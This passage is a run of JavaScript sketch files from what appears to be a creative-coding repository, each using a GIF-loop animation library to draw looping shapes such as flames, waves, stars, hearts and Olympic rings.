shadowOffsetX: 0,
shadowOffsetY: 0,
shadowBlur: dist,
globalAlpha: function( t ){
return getOnOff( t, this.column, this.row ) ? 1 : 0.2;
},
column: x,
row: y,
});
}
}
function getOnOff( t, x, y ){
var frame = Math.round( t*nrofFrames );
var char = marquee[ y ].charAt( ( x + frame ) % marquee[ y ].length );
return ( char == '*' ) ? true : false;
}
}<file_sep>/code/roy-flame.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 1.5 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 70, 50, 30, 1 );
var nr = 250;
var r1 = 20;
var r2 = 50;
var bgGradient = color.createRadialGradient( 0, 0, 0, 0, 0, 300 );
bgGradient.addColorStop( 0, color.rgba( 255, 180, 0, 0.3 ) );
bgGradient.addColorStop( 1, color.rgba( 255, 160, 0, 0 ) );
list.addCircle({
x: width/2,
y: 260,
radius: 300,
fillStyle: bgGradient,
stroke: false
});
var gradient1 = color.createRadialGradient( 0, 0, 0, 0, 0, r1 );
gradient1.addColorStop( 0, color.rgba( 255, 220, 0, 1 ) );
gradient1.addColorStop( 1, color.rgba( 255, 200, 0, 0.25 ) );
var gradient2 = color.createRadialGradient( 0, 0, 0, 0, 0, r2 );
gradient2.addColorStop( 0, color.rgba( 255, 180, 0, 0.65 ) );
gradient2.addColorStop( 1, color.rgba( 255, 160, 0, 0 ) );
for( var i=0; i<nr; i++ ){
list.addCircle({
x: function( t ){
return width/2 + Math.sin( t * Math.PI ) * this.amp;
},
y: [ 325, 200 - Math.random()*175 ],
radius: [ r1, r2 ],
stroke: false,
fill: true,
fillStyle: [ gradient1, gradient2 ],
globalAlpha: [ 0.75, 0 ],
phase: Math.random(),
wl: -Math.random()*100 - 50,
amp: ( Math.random() * 80 ) - 40,
speedMult: Math.ceil( Math.random() * 2 )
});
}
}<file_sep>/code/roy-swarm.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(600, 400);
glc.setDuration(2);
glc.setFPS(30);
glc.setMode("single");
//glc.setEasing(false);
glc.setMaxColors(16);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#002244';
var nr = 500;
var variance = 600;
for( var i=0; i<nr; i++ ){
list.addBezierSegment({
x0: 100,
y0: 200,
x1: getVariance(100),
y1: getVariance(200),
x2: getVariance(500),
y2: getVariance(200),
x3: 500,
y3: 200,
lineWidth: function( t ){
return 0.1 + ( Math.sin( t * Math.PI ) * 3 );
},
strokeStyle: color.randomRGB( 51, 255 ),
percent: 0.1,
phase: ( i / nr ) / 3
});
function getVariance( offset ){
var angle = Math.random() * (2*Math.PI);
var dist = Math.random()*variance - (variance/2);
return offset + ( Math.sin( angle ) * dist );
}
}
}<file_sep>/code/gifissue.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(400, 400);
glc.setDuration(2);
glc.setFPS(30);
glc.setMode("single");
glc.setEasing(false);
glc.setMaxColors(8);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var nr = 6;
for( var x=0; x<nr+2; x++ ){
for( var y=0; y<nr+2; y++ ){
var r = Math.min( 255, Math.floor( x * 32 ) );
var g = Math.min( 255, Math.floor( y * 32 ) );
var b = 0;
list.addRect({
x: x*(width/nr) - (width/nr)/2,
y: y*(height/nr) - (height/nr)/2,
w: 68,
h: 68,
rotation: [ 0, 90 ],
fill: true,
stroke: false,
/*fillStyle: color.rgba( r, g, b, 1 ),*/
fillStyle: 'rgba(' + r + ',' + g + ',' + b + ',1)',
});
}
}
}<file_sep>/code/android-circles.js
function onGLC(glc) {
glc.loop();
glc.size( 600, 600 );
glc.setDuration( 4 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing( false );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#000';
var colors = [
'magenta',
'yellow',
'cyan'
];
for( var i=0; i<colors.length; i++ ){
var ir = 120 * i; //Math.random() * 360;
var container = list.addContainer({
x: width / 2,
y: height / 2,
rotation: [ ir, ir+360 ]
});
list.addCircle({
x: ( Math.random() * 10 ) - 5,
y: ( Math.random() * 10 ) - 5,
radius: 140,
lineWidth: 12,
strokeStyle: colors[i],
stroke: true,
fill: false,
parent: container,
blendMode: 'lighten'
});
}
}<file_sep>/code/roy-bokeh-video.js
function onGLC(glc) {
glc.loop();
glc.size( 1280, 720 );
glc.setDuration( 30 );
glc.setFPS( 60 );
glc.setMode('single');
glc.setEasing( false );
glc.setMaxColors( 256 );
//glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#236';
var nr = 450;
for( var i=0; i<nr; i++ ){
var col = 100 + Math.random() * 120;
var xpos = ( Math.random() * ( width * 5 ) ) - ( width * 2);
var zpos = Math.random() * 10;
var size = Math.random() * ( 30 * zpos ) + 10;
var trans = 0.3 + Math.random() * 0.3;
var gradient = color.createRadialGradient( 0, 0, 0, 0, 0, size );
gradient.addColorStop( 0, color.hsva( col, 1, 1, trans ) );
gradient.addColorStop( 0.5, color.hsva( col, 1, 1, (trans*0.95) ) );
gradient.addColorStop( 0.9, color.hsva( col, 1, 1, (trans*0.05) ) );
gradient.addColorStop( 1, color.hsva( col, 1, 1, 0 ) );
list.addCircle({
x: [ xpos + ( zpos * 300 ), xpos - ( zpos * 300 ) ],
y: Math.random() * height,
radius: size,
//fillStyle: color.hsva( 80+Math.random()*100, 1, 1, 0.6 ),
fillStyle: gradient,
blendMode: 'screen',
});
}
}
<file_sep>/code/roy-interference-video.js
function onGLC(glc) {
glc.loop();
glc.size( 640, 480 );
glc.setDuration( 30 );
glc.setFPS( 60 );
glc.setMode('single');
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#235';
var sources = [];
var nr = 6;
var gridx = 640/6 + 1;
var gridy = 480/6 + 1;
var margin = 0;
var dist = 6;
var size = 2.3;
var maxWavelength = 300;
for( var i=0; i<nr; i++ ){
sources.push({
x: Math.random() * width,
y: Math.random() * height,
wl: ( maxWavelength/2 ) + Math.random() * (maxWavelength/2),
speed: Math.ceil( Math.random()*33 ),
});
}
for( var x=0; x<gridx; x++ ){
for( var y=0; y<gridy; y++ ){
var c = list.addCircle({
x: margin + x * dist,
y: margin + y * dist,
fillStyle: 'white',
radius: function( t ){
var s = 0;
for( var i=0; i<sources.length; i++ ){
var sourceDist = Math.sqrt( Math.pow( Math.abs( sources[i].x - this.x ), 2 ) + Math.pow( Math.abs( sources[i].y - this.y ), 2 ) );
var wavePos = ( ( t * sources[i].speed ) - ( sourceDist % sources[i].wl ) / sources[i].wl ) * ( 2 * Math.PI );
s += ( size / sources.length ) + Math.sin( wavePos ) * ( size / sources.length );
}
return s;
},
});
}
}
}
<file_sep>/code/roy-rating.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(420, 100);
glc.setDuration(1.5);
glc.setFPS(20);
glc.setMode("single");
glc.setEasing(false);
glc.setMaxColors(8);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var points = 5;
var nr = 5;
for( var i=0; i<nr; i++ ){
list.addStar({
points: points,
x: i*80 + 50,
y: height/2,
innerRadius: 18 ,
outerRadius: 35,
rotation: [ 0, 360/points ],
fill: true,
stroke: false,
fillStyle: 'rgba(0,50,102,1)',
/*phase: i/nr*/
});
}
}<file_sep>/code/roy-segments.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 4 );
glc.setFPS( 30 );
glc.setMode('single');
//glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#457';
var nr = 7;
var radius = 80;
// draw the full circles in the background
for(var i=0; i<nr; i++ ){
list.addCircle({
x: width/2 + Math.sin( (i/nr)*2*Math.PI ) * radius,
y: height/2 - Math.cos( (i/nr)*2*Math.PI ) * radius,
radius: radius,
fill: false,
stroke: true,
strokeStyle: color.rgba( 0, 0, 0, 0.3 ),
lineWidth: 1,
});
}
// draw partial circles
for(var i=0; i<nr; i++ ){
list.addCircle({
x: width/2 + Math.sin( (i/nr)*2*Math.PI ) * radius,
y: height/2 - Math.cos( (i/nr)*2*Math.PI ) * radius,
radius: radius,
fill: false,
stroke: true,
strokeStyle: '#fff',
lineWidth: 2.25,
startAngle: -360/nr,
endAngle: 360/nr,
rotation: [ i * (360/nr) -90, (i * (360/nr)) + 270 ],
});
}
}<file_sep>/code/roy-starwave.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 320, 320 );
glc.setDuration( 2 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 64 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var nr = 30;
var maxsize = 600;
var points = 5;
var rot = Math.random() * 360;
var col = color.rgba( 100,160,120, 1 );
glc.styles.backgroundColor = col;
for( var i=0; i<nr; i++){
var size = maxsize - ( (i/nr) * maxsize );
list.addStar({
x: width/2,
y: height/2,
innerRadius: function( t ){
return this.basesize/2 + Math.sin( t*2*Math.PI ) * (this.basesize/16);
},
outerRadius: function( t ){
return this.basesize + Math.sin( t*2*Math.PI ) * this.basesize/8;
},
rotation: function( t ){
return rot + Math.sin( t*2*Math.PI )*4;
},
points: points,
stroke: true,
lineWidth: 1,
strokeStyle: color.rgba( 255, 255, 255, 0.7 ),
fill: true,
fillStyle: col,
shadowColor: color.rgba( 0, 0, 0, 0.35 ),
shadowOffsetX: 4,
shadowOffsetY: 8,
shadowBlur: 10,
basesize: size,
phase: i/nr
});
}
}<file_sep>/code/roy-waves.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 300 );
glc.setDuration( 3 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 32 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 45, 50, 30, 1 );
var waves = 30;
var ypos = 40;
for( var i=0; i<waves; i++ ){
var wl = 50 + i*10;
var amp = 5 + i*1;
var path = [];
for( var l=-( width/2 + wl*2 ); l<width/2 + wl*2; l+=wl/40 ){
var x = l;
var y = Math.sin( (l/wl)*2*Math.PI ) * amp;
path.push( x );
path.push( y );
}
var c = list.addContainer({
x: [ width/2, (width/2)-wl ],
y: ypos,
phase: ypos/225
});
var w = list.addPath({
x: 0,
y: 0,
strokeStyle: color.rgba( 255, 255, 255, i/waves ),
lineWidth: 2,
path: path,
parent: c
});
ypos = ypos * 1.073;
}
}<file_sep>/code/roy-creature.js
function onGLC(glc) {
glc.loop();
glc.size( 700, 700 );
glc.setDuration( 4 );
glc.setFPS( 30 );
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 32 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#345';
var points = 9;
var segments = 120;
var wave = 0.03;
for( var p=0; p<points; p++ ){
var segmentSize = 35;
for( var s=0; s<segments; s++ ){
segmentSize = segmentSize * 0.98;
var rad = s*2;
list.addCircle({
x: function( t ){
return width/2 + Math.sin( ( this.point/points + Math.sin( t*2*Math.PI )*wave )*2*Math.PI ) * this.rad;
},
y: function( t ){
return width/2 - Math.cos( ( this.point/points + Math.sin( t*2*Math.PI )*wave )*2*Math.PI ) * this.rad;
},
radius: segmentSize,
stroke: false,
fillStyle: '#fff8cc',
point: p,
segment: s,
rad: rad,
phase: 1 - s/segments,
});
}
}
}
<file_sep>/code/roy-groovy.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 4 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 0, 0, 0, 1 );
var cols = [ '#f00', '#0f0', '#00f' ];
var clusters = 5;
var clusterRadius = 140;
var nr = cols.length;
for( var c=0; c<clusters; c++ ){
var bx = width/2 + Math.sin( (c/clusters)*2*Math.PI ) * clusterRadius;
var by = height/2 - Math.cos( (c/clusters)*2*Math.PI ) * clusterRadius;
for( var i=0; i<nr; i++ ){
list.addCircle({
x: function( t ){
return this.bx + Math.sin( (t+this.nr/nr)*2*Math.PI ) * ( Math.sin(t*2*Math.PI) * this.r );
},
y: function( t ){
return this.by - Math.cos( (t+this.nr/nr)*2*Math.PI ) * ( Math.sin(t*2*Math.PI) * this.r );
},
radius: 85,
stroke: false,
fill: true,
fillStyle: cols[ i ],
blendMode: 'lighter',
nr: i,
r: 60,
bx: bx,
by: by,
phase: c/clusters
});
}
}
}<file_sep>/code/roy-crescents.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 500 );
glc.setDuration( 5 );
glc.setFPS( 30 );
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 256 );
glc.setQuality( 5 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var nr = 5;
var size = 90;
var rad = 55;
for( var i=0; i<nr; i++ ){
list.addCrescent({
x: width / 2 + Math.sin( (i/nr)*2*Math.PI ) * rad,
y: height / 2 - Math.cos( (i/nr)*2*Math.PI ) * rad,
radius: size,
percent: function( t ){
return 0.5 + Math.cos( t*2*Math.PI ) * 0.5;
},
baseAngle: 360*(i/nr),
rotation: function( t ){
return this.baseAngle + Math.cos( t*Math.PI ) * 180;
},
stroke: false,
fillStyle: color.hsva( 200, 1, 1, 0.225 ),
});
}
}
<file_sep>/code/roy-olympic.js
function onGLC(glc) {
glc.loop();
glc.size(600, 400);
glc.setDuration(6.5);
glc.setFPS(30);
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var lw = function(t){
return Math.sin( Math.PI*t ) * 10;
};
var rad = function(t){
if( t< 0.25 || t>0.75 ){
if( t > 0.75 ){ t = t -0.5; }
return 325 - Math.sin( Math.PI*t*2 ) * 275;
} else {
return 50;
}
};
var ga = function(t){
return 1;
};
var ss = function(t){
var f = 1-Math.sin( Math.PI * t );
var r = this._r + f * ( 255-this._r );
var g = this._g + f * ( 255-this._g );
var b = this._b + f * ( 255-this._b );
return color.rgb( r, g, b );
}
var container = list.addContainer({
x: width / 2,
y: height / 2 - 10,
globalAlpha: function(t){
return Math.sin( Math.PI*t );
}
});
var blue1 = list.addCircle({
x: -120,
y: -25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 0,
_g: 133,
_b: 199,
fill: false,
lineWidth: lw,
startAngle: 45,
endAngle: 235,
globalAlpha: ga,
parent: container
});
var yellow1 = list.addCircle({
x: -60,
y: 25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 244,
_g: 195,
_b: 0,
fill: false,
lineWidth: lw,
startAngle: -45,
endAngle: 135,
globalAlpha: ga,
parent: container
});
var red1 = list.addCircle({
x: 120,
y: -25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 223,
_g: 0,
_b: 36,
fill: false,
lineWidth: lw,
startAngle: 135,
endAngle: 135+180,
globalAlpha: ga,
parent: container
});
var green1 = list.addCircle({
x: 60,
y: 25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 0,
_g: 159,
_b: 61,
fill: false,
lineWidth: lw,
startAngle: -135,
endAngle: 45,
globalAlpha: ga,
parent: container
});
var black = list.addCircle({
x: -0,
y: -25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 0,
_g: 0,
_b: 0,
fill: false,
lineWidth: lw,
globalAlpha: ga,
parent: container
});
var red2 = list.addCircle({
x: 120,
y: -25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 223,
_g: 0,
_b: 36,
fill: false,
lineWidth: lw,
startAngle: -45,
endAngle: 135,
globalAlpha: ga,
parent: container
});
var yellow2 = list.addCircle({
x: -60,
y: 25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 244,
_g: 195,
_b: 0,
fill: false,
lineWidth: lw,
startAngle: 135,
endAngle: 135+180,
globalAlpha: ga,
parent: container
});
var green3 = list.addCircle({
x: 60,
y: 25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 0,
_g: 159,
_b: 61,
fill: false,
lineWidth: lw,
startAngle: 45,
endAngle: 235,
globalAlpha: ga,
parent: container
});
var blue2 = list.addCircle({
x: -120,
y: -25,
radius: rad,
stroke: true,
strokeStyle: ss,
_r: 0,
_g: 133,
_b: 199,
fill: false,
lineWidth: lw,
startAngle: 235,
endAngle: 235+180,
globalAlpha: ga,
parent: container
});
}
<file_sep>/code/roy-radar.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 3 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 128 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 0, 40, 10, 1 );
var lines = 50;
var targets = 11;
var rad = width/2 - 20;
// grid
list.addGrid({
x: 0,
y: 0,
w: width,
h: height,
gridSize: 20,
lineWidth: 1,
strokeStyle: color.rgba( 150, 255, 200, 0.3 )
});
// axis lines
for( var i=0; i<2; i++ ){
list.addLine({
x0: i ? 0 : width/2,
y0: i ? height/2 : 0,
x1: i ? width : width/2,
y1: i ? height/2 : height,
lineWidth: 1,
strokeStyle: color.rgba( 150, 255, 200, 0.4 )
});
}
// outer circle
list.addCircle({
x: width/2,
y: height/2,
radius: rad,
fill: false,
stroke: true,
strokeStyle: color.rgba( 150, 255, 200, 1 ),
lineWidth: 1.5
});
// bleep, bleep
for( var i=0; i<lines; i++ ){
list.addRay({
x: width/2,
y: height/2,
length: rad,
angle: [ 0, 360 ],
lineWidth: 3,
strokeStyle: color.rgba( 150, 255, 200, (1-(i/lines))*0.8 ),
phase: 1 - i/360
});
}
// targets
for( var i=0; i<targets; i++ ){
var angle = Math.random() * ( 2 * Math.PI );
var dist = 40 + Math.random() * ( rad - 60 );
list.addCircle({
x: width/2 + Math.sin( angle ) * dist,
y: height/2 - Math.cos( angle ) * dist,
radius: [ 6, 2 ],
fill: true,
fillStyle: [ color.rgba( 150, 255, 200, 1 ), color.rgba( 150, 255, 200, 0 ) ],
stroke: false,
shadowColor: [ color.rgba( 150, 255, 200, 1 ), color.rgba( 150, 255, 200, 0 ) ],
shadowOffsetX: 0,
shadowOffsetY: 0,
shadowBlur: 10,
phase: 1 - ( ( angle - Math.PI/2.05 ) / ( 2 * Math.PI ) ),
});
}
}<file_sep>/code/roy-logo.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 300 );
glc.setDuration( 3 );
glc.setFPS( 30 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 255, 255, 255, 1 );
var strs = [ 'GIF', 'LOOP', 'CODER' ];
var counter = 0;
var letters = 12; // calculate this to make it more flexible?
var spacing = 100;
for( var s=0; s<strs.length; s++ ){
var nr = strs[s].length;
for( var i=0; i<nr; i++ ){
list.addRect({
x: i * spacing + spacing/2,
y: s * spacing + spacing/2,
w: spacing,
h: spacing,
stroke: false,
fill: true,
fillStyle: color.hsv( 180+(counter/letters)*120, 1, 0.75 ),
});
list.addText({
text: strs[s].charAt( i % nr ),
x: i * spacing + spacing/2,
y: s * spacing + spacing/2 - spacing/25,
stroke: false,
fill: true,
fillStyle: function( t ){
return color.rgba( 255, 255, 255, ( Math.sin( t*2*Math.PI ) * 0.2 ) + 0.8 );
},
shadowColor: function( t ){
return color.rgba( 255, 255, 255, ( Math.sin( t*2*Math.PI ) * 0.4 ) + 0.4 );
},
shadowOffsetX: 0,
shadowOffsetY: 0,
shadowBlur: 16,
fontSize: 70,
fontWeight: 'bold',
fontFamily: 'Roboto Condensed',
fontStyle: 'normal',
phase: 1 - ( counter / letters ),
nr: counter
});
counter++;
}
}
}<file_sep>/code/roy-tablecloth.js
function onGLC(glc) {
glc.loop();
glc.size(480, 480);
glc.setDuration( 3.5 );
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 32 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.hsv( 200, 1, 0.25 );
var r = 80;
var dist = r * 1.2;
var disty = dist * Math.sin( (Math.PI*2)/3 );
for( var x=-1; x<8; x++ ){
for( var y=-1; y<8; y++ ){
var oddeven = y % 2;
list.addPoly({
x: x * dist + oddeven * (dist/2),
y: y * disty,
radius: r,
sides: 6,
stroke: false,
strokeStyle: color.hsva( 0, 1, 0, 0.25 ),
lineWidth: 2,
fill: true,
fillStyle: color.hsva( ( oddeven ? 200 : 140 ), 0.5, 1, 0.4 ),
blendMode: 'screen',
rotation: [ 0, 60 ],
});
}
}
}
<file_sep>/code/roy-squaredance.js
function onGLC(glc) {
glc.loop();
glc.size( 450, 450 );
glc.setDuration( 1 );
glc.setFPS( 25 );
glc.setMode( 'single' );
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#135';
var nr = 17;
var nr2 = 7;
var size = 160;
for( var r=0; r<nr2; r++ ){
var rsize = size - r * ( size/nr2 );
var nrofDots = Math.round( nr * ( rsize / size ) );
var offset = Math.random();
list.addRect({
x: width/2,
y: height/2,
w: rsize * 2,
h: rsize * 2,
fill: false,
fillStyle: color.rgba( 0, 0, 0, 0.3 ),
stroke: true,
strokeStyle: color.rgba( 255, 255, 255, 0.3 ),
lineWidth: 1,
});
for( var i=0; i<nrofDots; i++ ){
var container = list.addContainer({
x: width / 2,
y: height / 2,
rotation: ( r%2 == 0) ? [ 0, 360 ] : [ 360, 0 ],
phase: i/nrofDots + offset,
speedMult: 1/nrofDots,
});
list.addCircle({
x: function( t ){
var a = ( t*2*Math.PI ) % (Math.PI/2);
if( a > Math.PI/4 ){ a = (Math.PI/2) - a; }
var l = this.rsize / Math.cos( a );
return l;
},
y: 0,
radius: 5,
stroke: false,
fillStyle: ( r%2 == 0 ) ? color.rgba( 255, 255, 255, 1 ) : color.rgba( 155, 200, 255, 1 ),
parent: container,
phase: i/nrofDots + offset,
speedMult: 1/nrofDots,
rsize: rsize,
});
}
}
}<file_sep>/code/roy-biscuit.js
function onGLC(glc) {
glc.loop();
glc.size(480, 480);
glc.setDuration( 4 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#333';
var dist = 50;
var nr = 5;
var size = dist*2;
var container = list.addContainer({
x: width / 2,
y: height / 2,
rotation: -45,
});
for( var x=0; x<nr; x++ ){
for( var y=0; y<nr; y++ ){
var xpos = x * dist - ((nr-1)/2) * dist;
var ypos = y * dist - ((nr-1)/2) * dist;
var maxDist = Math.sqrt( Math.pow( ((nr-1)/2)*dist,2 ) + Math.pow( ((nr-1)/2)*dist,2 ) );
var dfc = Math.sqrt( Math.pow( xpos, 2 ) + Math.pow( ypos, 2 ) ) / maxDist;
list.addCircle({
x: xpos,
y: ypos,
radius: function( t ){
return ( 1 + Math.sin( t*2*Math.PI ) ) * ( ( size/2 ) * (1-this.dfc/2) );
},
fill: true,
fillStyle: ( ((x*nr)+y) % 2 ) ? color.hsva( 190, 0.75, 1, 0.7 ) : color.hsva( 220, 0.75, 1, 0.7 ),
blendMode: 'screen',
globalAlpha: function( t ){
return ( 1 + Math.sin( t*2*Math.PI ) ) * 0.5;
},
stroke: false,
parent: container,
phase: -( x/nr + y/nr ) / 15,
dfc: dfc,
});
}
}
}<file_sep>/code/iris-hartster.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 500 );
glc.setDuration( 5 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgb( 150, 150, 255);
list.addStar({
x: width / 2,
y: height / 2,
outerRadius: 200,
innerRadius: 150,
points: 30,
//fillStyle: color.rgb(150,55,250 ),
rotation: [ 0, 360/6 ],
fillStyle: function( t ){
return color.hsv( 280 + Math.sin(t*2*Math.PI)*30, 0.4, 0.7 );
},
phase: 0.5,
});
list.addHeart({
x: width / 2,
y: height / 2,
//w: [180,-180],
w: function( t ){
return 90 + Math.sin(t*2*Math.PI) * 90;
},
h: 180,
//fillStyle: color.rgb(250,100,150),
//rotation: [ 0, 360 ],
//fillStyle: ['pink','yellow','pink']
fillStyle: function( t ){
return color.hsv( 300 + Math.sin(t*2*Math.PI)*30, 0.4, 1 );
},
});
}
<file_sep>/code/roy-walkcycle.js
function onGLC(glc) {
//glc.loop();
glc.size(400, 400);
glc.setDuration(4.0);
glc.setFPS(25);
//glc.setMode('single');
//glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#444';
var body = list.addRay({
x: width/2,
y: 250,
length: 80,
strokeStyle: 'white',
angle: -80
});
var upperLeg = list.addRay({
x: 0,//width/2,
y: 0,//[ 260, 250 ],
angle: [ 130, 200 ],//[ 70, 110 ],
length: 50,
parent: body,
phase: 0,
strokeStyle: 'white'
});
var lowerLeg = list.addRay({
x: 50,
y: 0,
angle: [ 0, 30 ],
length: 50,
parent: upperLeg,
phase: 0,
strokeStyle: 'white'
});
var upperLeg = list.addRay({
x: 0,//width/2,
y: 0,//[ 260, 250 ],
angle: [ 130, 200 ],//[ 70, 110 ],
length: 50,
parent: body,
phase: 0.5,
strokeStyle: 'white'
});
var lowerLeg = list.addRay({
x: 50,
y: 0,
angle: [ 0, 30 ],
length: 50,
parent: upperLeg,
phase: 0.5,
strokeStyle: 'white'
});
var upperArm = list.addRay({
x: 80,
y: 0,
angle: [ 130, 210 ],
length: 45,
parent: body,
phase: 0,
strokeStyle: 'white'
});
var lowerArm = list.addRay({
x: 45,
y: 0,
angle: [ -40, 0 ],
length: 45,
parent: upperArm,
phase: 0,
strokeStyle: 'white'
});
}<file_sep>/code/iris-shapes2.js
function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration(2.0);
glc.setFPS(25);
//glc.setMode('single');
//glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = 'DeepSkyBlue';
list.addCircle({
x:[ 100,300 ],
y: 100,
fillStyle:[ 'red','blue'],
radius:[20, 50 ],
});
list.addStar({
x: 300 ,
y:[100,300],
fillStyle:['blue','yellow'],
innerRadius:[20,40 ],
outerRadius:[20,60],
rotation:[90,0],
});
list.addHeart({
x:[300,100],
y:300,
fillStyle:['purple','pink' ],
w: [50,100], // breedte
h: [50,100], // hoogte
rotation:[0,180 ],
});
list.addRect({
x:100,
y:[300,100],
w:[50,100],
h:[50,100],
fillStyle:['orange','green'],
rotation:[0,90],
});
}<file_sep>/code/roy-velvet.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 2.5 );
glc.setFPS( 25 );
glc.setMaxColors( 16 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 40, 40, 40, 1 );
var nr = 100;
for( var i=0; i<nr; i++ ){
var path = [];
var points = 200;
var radius = i*1.2;
var waves = 5;
var c = list.addContainer({
x: width/2,
y: height/2,
rotation: [ 0, 360/(waves/2) ],
phase: i/nr,
speedMult: -1
});
for( var p=0; p<points+1; p++ ){
var angle = (p/points)*2*Math.PI;
var tempRadius = radius + Math.sin( angle*waves ) * radius/3;
var x = Math.sin( angle ) * tempRadius;
var y = -Math.cos( angle ) * tempRadius;
path.push( x );
path.push( y );
}
list.addPath({
x: 0,
y: 0,
strokeStyle: color.rgba( 255, 255, 200, 1 - ( 1 * ( i/nr ) ) ),
lineWidth: 0.5,
path: path,
parent: c,
});
}
}<file_sep>/code/roy-hexagon2.js
function onGLC(glc) {
glc.loop();
glc.size( 600, 600 );
glc.setDuration( 3.5 );
glc.setFPS( 30 );
glc.setMode('single');
//glc.setEasing(false);
glc.setMaxColors( 64 );
glc.setQuality( 10 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#234';
var nr = 6;
var corners = [];
var size = 15;
var dist = 40;
var c = list.addContainer({
x: width / 2,
y: height / 2,
});
for( var n=0; n<nr; n++ ){
var rad = n * dist;
var sideDots = Math.max( 0, n - 1 );
var totalDots = ( n == 0 ) ? 1 : 6;
totalDots += 6 * sideDots;
for( var i=0; i<6; i++ ){
corners[i] = {
x: Math.sin( (i/6) * 2*Math.PI ) * rad,
y: -Math.cos( (i/6) * 2*Math.PI ) * rad
